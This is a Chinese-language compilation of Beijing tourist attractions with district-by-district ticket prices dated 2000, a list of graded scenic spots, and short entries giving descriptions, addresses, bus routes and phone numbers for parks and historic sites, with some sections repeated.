        石花洞风景区 42.00元
        上方山国家森林公园 40.00元
        韩村河景区 25.00元
        银狐洞风景区 40.00元
        凤凰山公园 5.00元
        周口店猿人遗址 20.00元
        白草畔老道洞风景区 5.00元
        白草畔风景区 20.00元
        将军坨风景区 10.00元
        石花洞中华奇石展 5.00元
        昊天公园 5.00元 登塔10.00元
        云居寺 30.00元
        上方山国家森林公园标本展览馆 5.00元
        北京万顷园 10.00元
        石渡孤山寨 20.00元
        石渡万景仙沟 15.00元
        石渡仙峰谷 20.00元
        莲缘峡谷 15.00元
        清江九龙潭 8.00元

        平 谷 县 京东大峡谷 35.00元
        金海湖风景区 12.00元
        轩辕陵 5.00元
        水上运动场 12.00元
        湖洞水 15.00元
        飞龙谷 15.00元
        丫髻山 15.00元
        人民公园 1.00元
        儿童乐园 0.50元
        京东大溶洞 38.00元
        石林峡 15.00元
        欢乐农家 10.00元

        密 云 县 黑龙潭 20.00元
        京都第一瀑 20.00元
        司马台长城 20.00元
        云岫谷 20.00元
        白龙潭 20.00元
        清凉谷 15.00元
        桃园仙谷 20.00元
        云蒙三峪 15.00元
        五座楼森林公园 15.00元
        云蒙山森林公园 20.00元
        天仙瀑 15.00元
        九龙十八潭 15.00元

        通 州 西海子公园葫芦湖 1.00元
        通州博物馆 2.00元


        县 北京绿色渡假村 15.00元
        乡村赛马场 5.00元
        大龙世界水上游乐场 3.00元
        焦庄户地道站遗址公园 10.00元

        大 兴
        北京东方骑士休闲娱乐中心 5.00元
        麋鹿生态实验中心 10.00元
        北普陀影视培训基地 28.00元
        中华文化园 6.00元
        半壁店森林公园 6.00元
        吴运铎纪念馆 1.50元

        延 庆
        八达岭长城景区 60.00元
        水关长城 12.00元 滑道 30.00
        成吉思汗行宫 10.00元
        石佛寺 10.00元 迷宫 5.00
        龙庆峡 20.00元 船票 40.00元
        龙庆峡腾龙电梯 15.00元
        龙庆峡百花洞 10.00元
        龙庆峡观光索道 10.00(单程) 20.00双程
        龙庆峡神仙院 10.00元
        龙庆峡滑道 20.00元
        青龙潭 10.00元
        康西草原 20.00元 骑马 40.00元
        滴水壶 15.00元
        古崖居 30.00元
        野鸭湖 15.00元
        妫河漂流 100.00元(自然);80.00元(机动)
        乌龙峡谷 15.00元
        珍珠泉 10.00元
        古木化石群 20.00元
        齐仙岭 10.00元
        燕山天池 30.00元
        仓米古道景区 100.00元
        八达岭索道 50.00元(双);30.00元(单)
        松山自然保护区速降 30.00元
        云龙山景区 15.00元
        石京龙滑雪场 20.00元
        灵照寺 5.00元
        野生动物园 70.00元


        怀 柔
        慕田峪长城 20.00元 中华梦石城 15.00元 磁卡票25.00元
        乡间情趣园 15.00元
        原始部落 15.00元
        幽谷神潭 15.00元
        红螺寺 20.00元 水上游乐园 15.00元
        神堂峪 15.00元
        雁栖湖 15.00元
        响水湖 15.00元
        红螺湖 5.00元
        鹿鸣动物游乐园 15.00元
        中华梦石城 15.00元
        施必得滑道 55.00元(全程)
        缆车公司 50.00元(全程)、35.00元(单程)
        九谷口风景区 15.00元
        青龙峡 15.00元
        天华洞 15.00元
        百泉山风景区 15.00元
        紫云山风景区 15.00元
        云蒙山风景区 15.00元
        小西湖风景区 15.00元
        鳞龙山风景区 12.00元
        天池峡谷 20.00元
        濂泉响谷 15.00元
        蓝天牧场 8.00元
        蹦极跳(龙人旅游开发有限公司) 150.00元
        速降(龙人旅游开发有限公司) 40.00元
        攀岩(龙人旅游开发有限公司) 30.00元
        生存岛 15.00元
        鹅和鸭农庄 10.00元
        圣发动植物游乐园 100.00元
        龙潭涧自然风景区 10.00元
        凤凰山森林旅游风景区 10.00元
        水族馆(已停业) 8.00元

        昌 平
        九龙游乐园 5.00元 龙宫 24.00元
        特特乐 20.00元
        水族馆 18.00元
        娱乐城 15.00元
        急流漂流 20.00元
        虎峪风景区 10.00元
        十三陵骓臼峪 20.00元
        虎峪百仙神洞 18.00元
        原始大世界 10.00元
        白羊沟风景区 15.00元
        航空博物馆 34.00元
        居庸关长城 25.00元 云台 2.00元
        银山塔林 15.00元
        神路 12.00元
        昭陵 30.00元
        定陵 30.00元
        长陵 20.00元
        大羊山 15.00元
        九仙神洞 10.00元
        蟒山公园 15.00元

        门 头 沟 区
        潭柘寺 25.00元
        戒台寺 25.00元
        灵山 25.00元
        百花山 20.00元
        龙门涧 20.00元
        珍珠湖 10.00元
        妙峰山 20.00元
        川底下 15.00元
        门头沟博物馆 1.00元

         

         

         

         

         

         

         

         

         

        北京的名胜古迹很多,下面我给你简单的列一下

        北京市旅游景点列表[国家级AAAA景点]

        天坛公园 明十三陵
        颐和园 北京海洋馆
        八达岭长城 北海-景山公园
        中华民族园 中国科学技术馆
        北京动物园 北京植物园

        北京市等级景点:

        北京香山公园 北京世界公园
        北京房山云居寺 北京八大处公园
        北京石景山乐园 陶然亭公园
        北京慕田峪长城 雁栖湖旅游区
        九龙游乐园 居庸关长城风景区
        石花洞风景区 北京红螺寺旅游度假区

        北京玉渊潭公园 北京湖景水上乐园
        北京青龙峡景区 北京韩村河旅游景村

        西山大觉寺 海定区凤凰岭自然风景区
        房山青龙湖水上乐园 密云桃源仙谷风景名胜区
        房山区银狐洞风景区 上方山国家森林公园怀
        鹫峰森林公园 海淀区百望山森林公园
        松山森林旅游区 柔幽谷神潭自然风景区
        宋庆龄故居 延庆康西草原
        房山仙栖洞景区 怀柔生存岛旅游基地
        北京乡村高尔夫俱乐部 春晖温泉度假村
        古崖居风景名胜旅游中心 恭王府花园
        八达岭残长城自然风景区 云蒙山森林公园
        密云云岫谷游猎自然风景区 徐悲鸿纪念馆

        门头沟灵山自然风景区 门头沟百花山自然风景区
        门头沟珍珠湖风景区 门头沟小龙门风景区
        密云白龙潭自然风景区 密云清凉谷自然风景区
        怀柔百泉山自然风景区 平谷老象峰旅游景区
        北京莲花池公园 丰台万方亭公园
        丰台鹰山森林公园 中国印刷博物馆
        北京石京龙滑雪场 怀柔响水湖自然风景区
        怀柔神堂峪自然风景区 平谷湖洞水自然风景区
        石景山妇女儿童活动中心 石景山希望公园
        北京国子监 北京大葆台汉墓
        中国古代建筑博物馆

        西周燕都遗址博物馆 中国蜜蜂博物馆
        焦庄户地道战遗址纪念馆 将军坨风景区
        门头沟爨底下村景区 门头沟龙门涧风景区
        北京云峰山自然风景区 昌平虎峪自然风景区
        昌平堆臼峪自然风景区


        北京景点门票价格
        北京部分旅游景点门票价格 (单位:RMB元/人)(2000.10.)
        区县 名称 门票价格 园中收费 备注
        名称 票价

        东城区
        故宫博物院 60.00元 珍宝馆 5.00元 联票50元
        钟表馆 5.00元
        畅音阁悦是楼 10.00元
        中国革命博物馆 3.00元
        首都博物馆 10.00元
        中国历史博物馆 5.00元
        地坛公园 1.00元 蜡像馆 3.00元 月票3元
        皇祺室 5.00元
        柳荫湖公园 0.20元 月票1元
        青年湖公园 1.00元 月票3元
        南馆公园 0.20元 月票1元
        中山公园 3.00元 蕙芳园 5.00元 月票3元
        塘花坞 5.00元
        劳动人民文化宫 2.00元 月票2元
        雍和宫 15.00元
        天安门 15.00元
        学生5.00元

        西城区
        中国地质博物馆 8.00元
        中国古动物馆 15.00元
        鲁迅博物馆 5.00元
        梅兰芳纪念馆 2.00元
        郭沫若纪念馆 6.00元
        宋庆龄故居 8.00元
        白塔寺文保所 10.00元
        郭守敬纪念馆 0.50元
        天文馆 12.00元 北京古观象台 10.00元
        徐悲鸿纪念馆 5.00元
        动物园 20.00元,联票15.00元 熊猫馆 5.00元
        爬虫馆 1.00元
        北海公园 10.00元 琼岛景区 10.00元 团城1.00元
        景山公园 2.00元
        人定湖公园 0.30元
        月坛公园 1.00元
        双秀公园 0.20元
        恭王府 5.00元
        白云观 8.00元(庙会期间10.00元)
        人民大会堂 15.00元

        崇文区
        自然博物馆 15.00元、集体:6.00元
        天坛公园 15.00元 祈年殿 20.00元 联票35元
        龙潭公园 1.00元 月票3元
        北京游乐园 57.00元 优惠
        37.00元
        东南城角楼 10.00元

        宣武区
        大观园 10.00元 学生5.00元
        陶然亭公园 2.00元 孔雀园 5.00元 学生1.00元
        万寿公园 1.00元

        朝阳区
        团结湖公园 1.00元
        红领巾公园 1.00元
        日坛公园 1.00元
        朝阳公园 5.00元
        百鸟园 5.00元 鸣趣园 10.00元
        中华民族园 60.00元
        北旭野生动物园 10.00元 猕猴园 10.00元
        丽都花园 0.40元
        望京公园 0.20元
        紫檀博物馆 20.00元
        航空航天模型博物馆 30.00元
        学生15.00
        民俗博物馆 10.00元

        海淀区
        大钟寺 10.00元
        大觉寺 10.00元
        五塔寺 3.00元
        万寿寺 10.00元
        中国军事革命博物馆 10.00元
        北京植物园 5.00元 卧佛寺 5.00元 月票6元
        颐和园 35.00元 德和园 10.00元 联票33元
        优惠联票30元
        苏州街 10.00元 月票8元
        佛香阁 10.00元
        紫竹院 2.00元 筠石苑 1.00元 月票4元
        玉渊潭 2.00元 月票4元
        圆明园 10.00元 大水法 3.00元
        微缩展 2.00元
        迷宫 1.00元
        展室 1.00元
        香山公园 5.00元 双清别墅 3.00元
        碧云寺 10.00元
        凤凰岭 8.00元
        百望山 6.00元
        阳台山 8.00元
        鹫峰森林公园 8.00元
        上庄翠湖水乡 5.00元
        药用植物园 5.00元
        邮电博物馆 5.00元
        玲珑公园 0.20元
        会城门 0.20元
        京西国家森林公园 5.00元

        丰台区
        西汉古墓 10.00元
        中国抗战馆 15.00元
        卢沟桥 10.00元 学生5.00元
        世界公园 65.00元 儿童票 35.00
        世界公园动感电影 20.00元 儿童10.00元
        大洋滑雪场 20.00元
        驯象乐园 25.00元 儿童15.00元
        丰台花园 1.00元 月票5元
        丰台园区公园 0.40元
        鹰山森林公园 1.00元 月票5元
        花乡公园 0.50元
        长辛店公园 1.00元 月票5元,
        年票42元
        石榴庄公园 0.50元
        福海公园 1.00元
        万芳亭公园 1.00元 月票5元,
        年票42元
        南苑公园 1.00元 月票5元

        石景山区
        法海寺博物馆 10.00元
        冰川遗迹陈列馆 2.00元
        石景山游乐园 2.00元
        八大处 5.00元
        富斯特滑道 40.00元
        宝宝乐园 0.50元
        雕塑乐园
        法海寺公园

        房山区
        石花洞风景区 42.00元
        上方山国家森林公园 40.00元
        韩村河景区 25.00元
        银狐洞风景区 40.00元
        凤凰山公园 5.00元
        周口店猿人遗址 20.00元
        白草畔老道洞风景区 5.00元
        白草畔风景区 20.00元
        将军坨风景区 10.00元
        石花洞中华奇石展 5.00元
        昊天公园 5.00元 登塔10.00元
        云居寺 30.00元
        上方山国家森林公园标本展览馆 5.00元
        北京万顷园 10.00元
        石渡孤山寨 20.00元
        石渡万景仙沟 15.00元
        石渡仙峰谷 20.00元
        莲缘峡谷 15.00元
        清江九龙潭 8.00元

        平谷区
        京东大峡谷 35.00元
        金海湖风景区 12.00元
        轩辕陵 5.00元
        水上运动场 12.00元
        湖洞水 15.00元
        飞龙谷 15.00元
        丫髻山 15.00元
        人民公园 1.00元
        儿童乐园 0.50元
        京东大溶洞 38.00元
        石林峡 15.00元
        欢乐农家 10.00元

        密云
        黑龙潭 20.00元
        京都第一瀑 20.00元
        司马台长城 20.00元
        云岫谷 20.00元
        白龙潭 20.00元
        清凉谷 15.00元
        桃园仙谷 20.00元
        云蒙三峪 15.00元
        五座楼森林公园 15.00元
        云蒙山森林公园 20.00元
        天仙瀑 15.00元
        九龙十八潭 15.00元

        通州
        西海子公园葫芦湖 1.00元
        通州博物馆 2.00元

        顺义
        北京绿色渡假村 15.00元
        乡村赛马场 5.00元
        大龙世界水上游乐场 3.00元
        焦庄户地道站遗址公园 10.00元

        大兴
        北京东方骑士休闲娱乐中心 5.00元
        麋鹿生态实验中心 10.00元
        北普陀影视培训基地 28.00元
        中华文化园 6.00元
        半壁店森林公园 6.00元
        吴运铎纪念馆 1.50元

        延庆
        八达岭长城景区 60.00元
        水关长城 12.00元 滑道 30.00
        成吉思汗行宫 10.00元
        石佛寺 10.00元 迷宫 5.00
        龙庆峡 20.00元 船票 40.00元
        龙庆峡腾龙电梯 15.00元
        龙庆峡百花洞 10.00元
        龙庆峡观光索道 10.00(单程) 20.00双程
        龙庆峡神仙院 10.00元
        龙庆峡滑道 20.00元
        青龙潭 10.00元
        康西草原 20.00元 骑马 40.00元
        滴水壶 15.00元
        古崖居 30.00元
        野鸭湖 15.00元
        妫河漂流 100.00元(自然);80.00元(机动)
        乌龙峡谷 15.00元
        珍珠泉 10.00元
        古木化石群 20.00元
        齐仙岭 10.00元
        燕山天池 30.00元
        仓米古道景区 100.00元
        八达岭索道 50.00元(双);30.00元(单)
        松山自然保护区速降 30.00元
        云龙山景区 15.00元
        石京龙滑雪场 20.00元
        灵照寺 5.00元
        野生动物园 70.00元
        第十四届冰灯 40.00元

        怀柔
        慕田峪长城 20.00元 中华梦石城 15.00元 磁卡票25.00元
        乡间情趣园 15.00元
        原始部落 15.00元
        幽谷神潭 15.00元
        红螺寺 20.00元 水上游乐园 15.00元
        神堂峪 15.00元
        雁栖湖 15.00元
        响水湖 15.00元
        红螺湖 5.00元
        鹿鸣动物游乐园 15.00元
        中华梦石城 15.00元
        施必得滑道 55.00元(全程)
        缆车公司 50.00元(全程)、35.00元(单程)
        九谷口风景区 15.00元
        青龙峡 15.00元
        天华洞 15.00元
        百泉山风景区 15.00元
        紫云山风景区 15.00元
        云蒙山风景区 15.00元
        小西湖风景区 15.00元
        鳞龙山风景区 12.00元
        天池峡谷 20.00元
        濂泉响谷 15.00元
        蓝天牧场 8.00元
        蹦极跳(龙人旅游开发有限公司) 150.00元
        速降(龙人旅游开发有限公司) 40.00元
        攀岩(龙人旅游开发有限公司) 30.00元
        生存岛 15.00元
        鹅和鸭农庄 10.00元
        圣发动植物游乐园 100.00元
        龙潭涧自然风景区 10.00元
        凤凰山森林旅游风景区 10.00元
        水族馆(已停业) 8.00元

        昌平
        九龙游乐园 5.00元 龙宫 24.00元
        特特乐 20.00元
        水族馆 18.00元
        娱乐城 15.00元
        急流漂流 20.00元
        虎峪风景区 10.00元
        十三陵骓臼峪 20.00元
        虎峪百仙神洞 18.00元
        原始大世界 10.00元
        白羊沟风景区 15.00元
        航空博物馆 34.00元
        居庸关长城 25.00元 云台 2.00元
        银山塔林 15.00元
        神路 12.00元
        昭陵 30.00元
        定陵 30.00元
        长陵 20.00元
        大羊山 15.00元
        九仙神洞 10.00元
        蟒山公园 15.00元

        门头沟区 潭柘寺 25.00元
        戒台寺 25.00元
        灵山 25.00元
        百花山 20.00元
        龙门涧 20.00元
        珍珠湖 10.00元
        妙峰山 20.00元
        川底下 15.00元
        门头沟博物馆 1.00元

         

         

         

         

         

         

         

         

        ★颐和园旅游区
        位于北京的西北郊,原是清代的皇家花园和行宫。园内主要由万寿山和昆明湖组成,占地290.8公顷,其中水面约占四分之三。颐和园以其秀丽的湖光山色、典雅的园林艺术、精美的历史文物,成为闻名世界的皇家园林。
        地址 海淀区新建宫门路19号
        交通路线
        咨询电话 62881144
        票价 8元,通票33元

        ★香山公园旅游区
        位于海淀区西山东麓,距市区20多公里。园内最高峰香炉峰海拔557米,各类树木26万余株,古树名木达5800多株,约占北京城区的四分之一。因为公园风景四季宜人,秋天的红叶节非常著名,因此成为北京人登山健身的好去处。
        地址 海淀区香山公园
        交通路线 乘318、333、360、904路香山下。驾车从紫竹桥向西进四环路向北顺路标指示即可到达。
        咨询电话 62591155-6523/6387
        票价 5元

        ★八大处公园
        位于石景山区北部,是北京著名的风景区,始建于1300多年前。公园内有八座古寺(灵光寺、长安寺、三山庵、大悲寺、龙泉庙、香界寺、宝珠洞、证果寺),“八大处”由此得名。滑道、骑马等游乐项吸引了众多的游客。
        地址 石景山区八大处
        交通路线 乘347、389路汽车八大处下。驾车可从五孔桥上阜石路,直行即到。
        咨询电话 68875221,68874661
        票价 5元

        ★北京大观园
        北京大观园是依据古典文学名著《红楼梦》设计建造的古典文化园林,是拍摄电视剧《红楼梦》的实景场地。现占地13公顷,其40余处亭台楼阁、佛庵庭院、山形水系,配以繁花名木、鹤鸣鹿啼,是一座人间仙境。大型陈列《红楼文化艺术展》通过大量的实物、资料、场景向游人展示了红学文化艺术的博大精深。大观园自 1986年开放以来,先后荣获“新北京十六景”、“中国旅游胜地四十佳”等多种称号。
        地址 宣武区南菜园街12号
        交通路线 59、61、351、19、819、特3、122、603路大观园下车。
        咨询电话 63542299 63541345
        票价 10元

        ★天坛公园
        是明、清两代帝王祭天祈谷之处,始建于明永乐十八年(1420年),是我国现存最大的古代祭祀性建筑群,占地约270万平方米,以严谨的建筑布局、奇特的建筑结构、瑰丽的建筑装饰而著称于世。天坛有恒墙两重,形成内外坛,坛墙南方北圆,象征天圆地方。天坛是圜丘、祈谷两坛的总称。主要建筑在内坛,圜丘坛在南、祈谷坛在北,二坛同在一条南北轴线上,中间有墙相隔。圜丘坛内主要建筑有圜丘坛、皇穹宇等;祈谷坛内主要建筑有祈年殿、皇乾殿、祈年门等,内坛西墙内有斋宫,外坛西墙内有神乐署。
        地址 崇文区天坛路
        交通路线 17、36联64、54、106、120路天坛下车,6、35路天坛北门下车,39路天坛东门下车,120、122、803、特3路天坛南门下车。
        咨询电话 67022617,67028866-8104
        票价 14元

        ★景山公园
        位于故宫的后面,原是明、清两朝皇宫的一部分。景山中峰高44.6米(海拔高度为88.7米),是旧北京内城的中心,也是当时最高的地方。中峰上的亭子叫 “万春亭”,是三重檐的黄琉璃瓦方亭。在这时厅以眺望全城。两侧是两座双檐八角碧瓦亭,东侧叫“周赏”,西侧叫“富览”。东、西两侧是两重檐圆形蓝瓦亭,分别叫“观妙”、“缉芳”、“缉芳”。5座亭子构成一组秀丽的图案。山后的寿皇殿、观德殿等,原是皇帝祭祖的地方。现在是北京市少年宫。在景山的东山坡下,原先有一棵歪脖老槐树。那是1644年春,李自成率领农民起义军攻进北京时,明朝最末一个皇帝崇祯上吊自缢的地方。
        地址 西城区文津街1号
        交通路线 5路景山西街下,58、60、111路景山东街下车,111、819路景山下车,101、103、103快、109、812、814路故宫下车
        咨询电话 64044071
        票价 2元

        ★北海公园
        北海公园是一座山青水秀、风景如画的古老园林,由辽、金、元、明、清五个朝代逐渐修建而成,是我国现存历史最悠久、保存最完整的皇家园林之一。公园总面积为 71公顷,其中水面约39公顷,是根据我国古代神话传说中的“蓬瀛仙境”的布局营建。琼华岛、团城和水云榭(中海之中)象征传说中的“蓬莱”、“瀛洲” 和“方丈”。北海公园景点很多,主要有:永安桥、琼华岛、永安寺、白塔、半月城、琼岛春阴碑、悦心殿、琳光三殿、阅古楼、铜仙承露盘、延楼、静心斋、九龙壁、铁影壁、五龙亭、阐福寺、小西天等。
        地址 西城区文津街1号
        交通路线 5、101、103、103快、109、118、812、814路北海下车,13、107、111北海后门下车
        咨询电话 64071415 64031102
        票价 5元

        ★天安门广场
        位于北京市区中心,南北长880米,东西宽500米,面积44万平方米,是当今世界最大的广场。天安门城楼坐落在广场的北端,五星红旗在广场上空高高飘扬。人民英雄纪念碑屹立在广场的中央。人民大会堂和中国革命博物馆、中国历史博物馆在广场的东西两侧遥遥相对。毛主席纪念堂和正阳门城楼矗立在广场的南部。每天有成千上万的人到这里参观、游览和摄影留念。国庆节的天安门广场,有成千上万盆五颜六色的鲜花和喷泉装点着,是广场一年中最美丽的时候。
        地址 东城区景山前街4号
        交通路线 1、2、4、5、10、20、52、57、55、54、120、802、特1路中山公园或天安门站下车,地铁、9、17、44、48、53、59、66、110、307、803、808、819、922、特4、特7、团结湖专线前门下车。
        咨询电话
        票价 15元(天安门城楼)

        ★故宫博物馆
        是明、清两朝的皇宫,俗名故宫,又叫紫禁城,现名故宫博物院。先后有24个皇帝在这里统治全国。占地面积72万平方米。故宫有高墙环绕,城外还有宽52米的护城河(又名筒子河)。高耸的宫墙里面,有各式宫室8704间,建筑面积15.5万平方米。城四方都有高大的城门楼。南面正门叫午门,北面名神武门,东边称东华门,西边为西华门。城的四角各有一座秀丽的角楼。整个建筑群按中轴线对称布局,层次分明,主体突出,按其布局可分外朝、内廷两大部分。外朝以太和、中和、保和三大殿为中心,文华、武英殿为两翼,是皇帝举行各种典礼和从事政治活动的场所。内延以乾清宫、交秦殿、坤宁宫为主体,另有养心殿、御花园、外东路及外西路等,是皇帝处理日常政务和居住之处。外朝建筑雄伟壮观,气势磅礴;内廷建筑金碧辉煌,布局严谨。
        地址 东城区景山前街4号
        交通路线 1、2、4、5、10、20、52、57、22、54、120、802、特1路中山公园或天安门站下车,地铁、9、17、44、48、53、59、66、 110、307、803、808、819、922、特4、特7、团结湖专线前门下车或101、103、103快、109、812、814路故宫下车。
        咨询电话 65132255
        票价 30元,通票50元

        ★中山公园
        位于天安门西侧,原是明、清时的社稷坛,是明清皇帝祭土地和五谷之神的地方,建于明永乐十九年(1421年)。因1925年孙中山先生的灵柩曾停放在园内拜殿中,1928年命名为中山公园。全园面积为24万平方米。建筑主要有社稷坛、拜殿、戟门、保卫和平坊、水榭、兰亭碑亭、唐花坞、习礼亭、四宜轩、迎晖亭、花廊、宰牲亭、格言亭、投壶亭、松柏交翠亭、来今雨轩、音乐堂、长青园、愉园和蕙芳园、儿童运动场等。
        地址 东城区中华路4号
        交通路线 1、2、4、5、10、20、52、57、22、54、120、802、特1路中山公园或天安门站下车,地铁、9、17、44、48、53、59、66、110、307、803、808、819、922、特4、特7、团结湖专线前门下车。
        咨询电话 66055431
        票价 3元

        ★颐和园
        位于北京的西北郊,原是清代的皇家花园和行宫。园内主要由万寿山和昆明湖组成,占地290.8公顷,其中水面约占四分之三。颐和园以其秀丽的湖光山色、典雅的园林艺术、精美的历史文物,成为闻名世界的皇家园林。
        地址 海淀区新建宫门路19号
        交通路线
        咨询电话 62881144
        票价 20元,通票33元

        ★鹫峰森林公园
        座落于海淀区北安河境内,距颐和园18公里。山峦上的两座山峰好似一只振翅欲飞的鹫鸟,故称鹫峰。它不仅以蜿蜒曲折、直达鹫峰山顶的盘山古道和雄奇秀丽的景色吸引众多游客,而且更以那丰富的植物资源所构成的自然风光闻名。
        地址 海淀区北安河乡鹫峰国家森林公园
        交通路线 从颐和园乘346路北安河乡北口,西行800米即到。乘火车可从石景山、苹果园地铁处乘京郊旅游列车直达。
        咨询电话 62455816,62455821,62459209
        票价 成人8元,学生4元

        ★紫竹院公园
        以竹造景的山水园林,公园内有各类竹子100多个品种,近百万株。公园始建于明代,清朝乾隆皇帝赐名为“紫竹禅院”,紫竹院由此得名。
        地址 海淀区白石桥路45号
        交通路线 乘114、300、323、334、374、374支、811、814、817路紫竹院下车,334、347、360、360支路三虎桥或白石桥路南口下车,320、904路北京图书馆下车南行。
        咨询电话 68420055
        票价 2元

        ★圆明园旅游区
        座落在北京的西北部,始建于康熙48年(1709年),是清朝鼎盛时期兴建的帝王御园,由圆明、长春、绮春三园组成,占地350公顷。它是我国建筑、园林艺术的杰作,被誉为“万园之园”。
        地址 海淀区清华西路28号
        交通路线 331、333、365、375支、801、810颐和园专线圆明圆下车。
        咨询电话 62543673
        票价 10元,通票20元

        ★凤凰岭风景区
        位于海淀区西山农场境内,占地面积973公顷。它以奇山、泉瀑及宗教人文古迹而著称,森林覆盖率达90%,空气纯度为市区5倍。自然人文景观有李儿港、九女陀、滴水岩和黄普院、福胜寺、妙觉禅寺、上云寺等。
        地址
        交通路线 乘346路终点即到。驾车从颐和园沿颐阳公路,顺运河走,一路有路标。
        咨询电话 62455933,62459492
        票价 8元

        ★香山
        位于海淀区西山东麓,距市区20多公里。园内最高峰香炉峰海拔557米,各类树木26万余株,古树名木达5800多株,约占北京城区的四分之一。因为公园风景四季宜人,秋天的红叶节非常著名,因此成为北京人登山健身的好去处。
        地址 海淀区香山公园
        交通路线 乘318、333、360、904路香山下。驾车从紫竹桥向西进四环路向北顺路标指示即可到达。
        咨询电话 62591155-6523/6387
        票价 5元

        ★阳台山风景区
        位于海淀区北安河乡境内,林木茂密,森林覆盖率达94%,杏树名木就占51%,以古香道为中心,两侧绿荫蔽日,果树满园。
        地址
        交通路线 乘346路到北安河北口下车即到。驾车从颐和园沿颐阳公路到温泉后,再行驶大约2公里即到。
        咨询电话
        票价 成人8元,学生4元

        ★玉渊潭公园
        是一座自然景色与人工雕塑相结合的公园。全园面积共2055万平方米。公园西北角建有樱花园,占地25万平方米,是华北地区最大的樱花专业园之一,早春时节举办的樱花节吸引大批游人观赏。
        地址 海淀区西三环
        交通路线 1、4、21、33、65、308、337、地铁军事博物馆下车北行,或320、114、特5、颐和园专线玉渊潭下;323路八一湖下车。
        咨询电话 68514447
        票价 2元

        ★百望山森林公园
        位于颐和园北3公里处,当地人称望儿山,是距市区最近的森林公园。百望山占地160多公顷,乔木、灌木交错,空气格外清新,没有人为的污染。
        地址 海淀区黑山扈北口19号
        交通路线 乘330路黑山扈路北口下车。从西客站乘特6路在百望山下车。驾车可从颐和园沿颐阳公路北行至黑山扈北口即到。
        咨询电话 62884508
        票价 5元

        ★卧佛寺-樱桃沟
        位于海淀区寿安山麓,与香山毗邻。卧佛寺因寺内的卧佛造像得名,距今已有1300余年。卧佛寺西北行约500米左右即为樱桃沟。这是一条外广内狭的幽静峡谷,两侧是秀挺峻拔的山峦,一条蜿蜒的溪水清澈见底。
        地址 海淀区卧佛寺路北京植物园
        交通路线 乘318、360、333、904路植物园或卧佛寺站下车。驾车可从颐和园沿香颐路到卧佛寺即到。
        咨询电话 62591283,62591561-2213
        票价 卧佛寺5元 植物园5元 展览温室50元

        ★西山森林公园
        北京最大的国家森林公园——西山国家森林公园位于北京西郊小西山,距城区仅20公里,南起石景山区模式口,北至海淀区温泉乡,东起温颐公路,西至军庄、永定河谷;地跨海淀、石景山、门头沟三区;拥有昌华、百望、静福、凌云、北岭五大景区,总面积达9万亩。
        其中森林面积8万亩,每年释放氧气17.8万吨。这里动植物资源丰富,自然人文景观众多,不仅有“西山红叶”、“西山晴雪”等著名自然景观;还有明景泰陵,万历皇帝七妃子墓,正蓝旗、正白旗村庄及碉楼等历史遗迹和名人碑刻、革命遗址纪念地等。
        地址
        交通路线 乘360、318路南河滩下车。
        咨询电话
        票价

        ★西山大觉寺
        位于海淀区北安河,距今已有近千年的历史。寺院坐西朝东,依山而建。自东向西由山门、碑亭、钟鼓楼、天王殿、大雄宝殿、无量寿佛殿、大悲坛组成。
        地址 海淀区北安河乡西山大觉寺管理处
        交通路线 乘346路周家巷下车。驾车可从颐和园沿颐阳路到温泉路口左拐即到。
        咨询电话 62456162
        票价 10元
        石景山区

        ★石景山游乐园
        是一座以欧洲郊野园林为主要特色的大型现代化游乐园,占地240亩,以灰姑娘城堡为中心,分布着50余项大中型现代化游乐项目,有状如车轮的观览车,有令人惊心动魄的电子滑车,有勇敢者的转盘,还有供游人骑乘的马匹和骆驼。
        地址 石景山区地铁八角站北侧
        交通路线 地铁八角游乐园站,337、389、325、327、354路京原路口下车。
        咨询电话 68874060
        票价 2元

        ★四海水上乐园
        位于石景山区八大处高科技园西,游乐项目有高架水滑梯、儿童嬉水区、环流泳区和静流泳区、造浪池、假山洞滑道等。
        地址 石景山区海特花园路西四海水上乐园
        交通路线 地铁苹果园站东200米往北,或乘336、501、318、965路可达。驾车从长安街到古城后,右拐直行到头即到。
        咨询电话 68885998,68885994
        票价 10元

        ★八大处公园
        位于石景山区北部,是北京著名的风景区,始建于1300多年前。公园内有八座古寺(灵光寺、长安寺、三山庵、大悲寺、龙泉庙、香界寺、宝珠洞、证果寺),“八大处”由此得名。滑道、骑马等游乐项吸引了众多的游客。
        地址 石景山区八大处
        交通路线 乘347、389路汽车八大处下。驾车可从五孔桥上阜石路,直行即到。
        咨询电话 68875221,68874661
        票价 5元
        丰台区

        ★万芳亭公园
        地址 丰台区右外洋桥西里甲2号
        交通路线 324、300路洋桥下车。
        咨询电话 67211666,67215333
        票价 1元

        ★鹰山森林公园
        位于丰台、石景山、门头沟三区交界处,总面积80公顷。地处平川、沟谷、陡坡、顶峰相互错落,有六座顶峰、七条沟壑、一座悬崖、两块平川。此地生长各类植物百余种数十万株,有林海野营、赏花尝果、绿针红叶、松涛雪景四类景区。
        地址 丰台区长辛店芦井鹰山森林公园
        交通路线 乘地铁古城下,换乘327、385路汽车。驾车沿地铁线到京原路口左拐,再行大约4-5公里即到。
        咨询电话 83876953
        票价 1元

        ★老美跑车城
        是我国首家美式家庭跑车娱乐场所,占地面积30余亩。设有成人、儿童和碰碰车四种跑道。成人驾驶的40多部跑车,采用日本本田发动机,跑起来精彩刺激,为儿童设计的跑车则更安全可靠,充满趣味。
        地址 丰台区花乡世界公园对面
        交通路线 乘937、905路或世界公园专线到世界公园下车。
        咨询电话 63735092
        票价

        ★青龙湖郊野休闲区
        位于丰台区王佐乡,距广安门20公里,总面积2620公顷,地形西高东低,西部以高低起伏不大的丘陵为主,东部地势平坦。主要特色在于山青水秀,林木茂盛,空气清新,气候宜人。景区以自然山水为骨架,区内有桃花坞、玫瑰谷、樱花园、竹趣、观光塔、铁索桥等。有游泳、快艇、游船、划水等水上娱乐项目,有以农业景观为主的、融科普与娱乐为一体的观光农业、交通公园和汽车娱乐城,有集各国名花异卉、珍奇树木于一园的国花公园、观赏树下园等。
        地址 丰台区王佐乡青龙湖郊野体闲区
        交通路线 六里桥乘339、321路到云岗下车。312旅游专线车直达休闲区门口。驾车可从六里桥上京石高速到赵辛店出口有路标。
        咨询电话 83870645,83870646
        票价 10元

        ★世界公园
        汇集了世界近五十个国家一百余处著名的人文、自然景观,是目前亚洲最大的大比例微缩景观公园。在游览中,您不仅可以观赏世界奇观名景,尽情领略各国风土人情,欣赏世界民俗大游行和乘浪漫游艇模拟环球旅行,而且还可以品尝到异国美食,购买旅游纪念品和进行各种趣味游乐活动,实现一日游遍世界的梦想。
        地址 丰台区花乡大葆台
        交通路线 乘特6路、特7路、北京站专线直达。
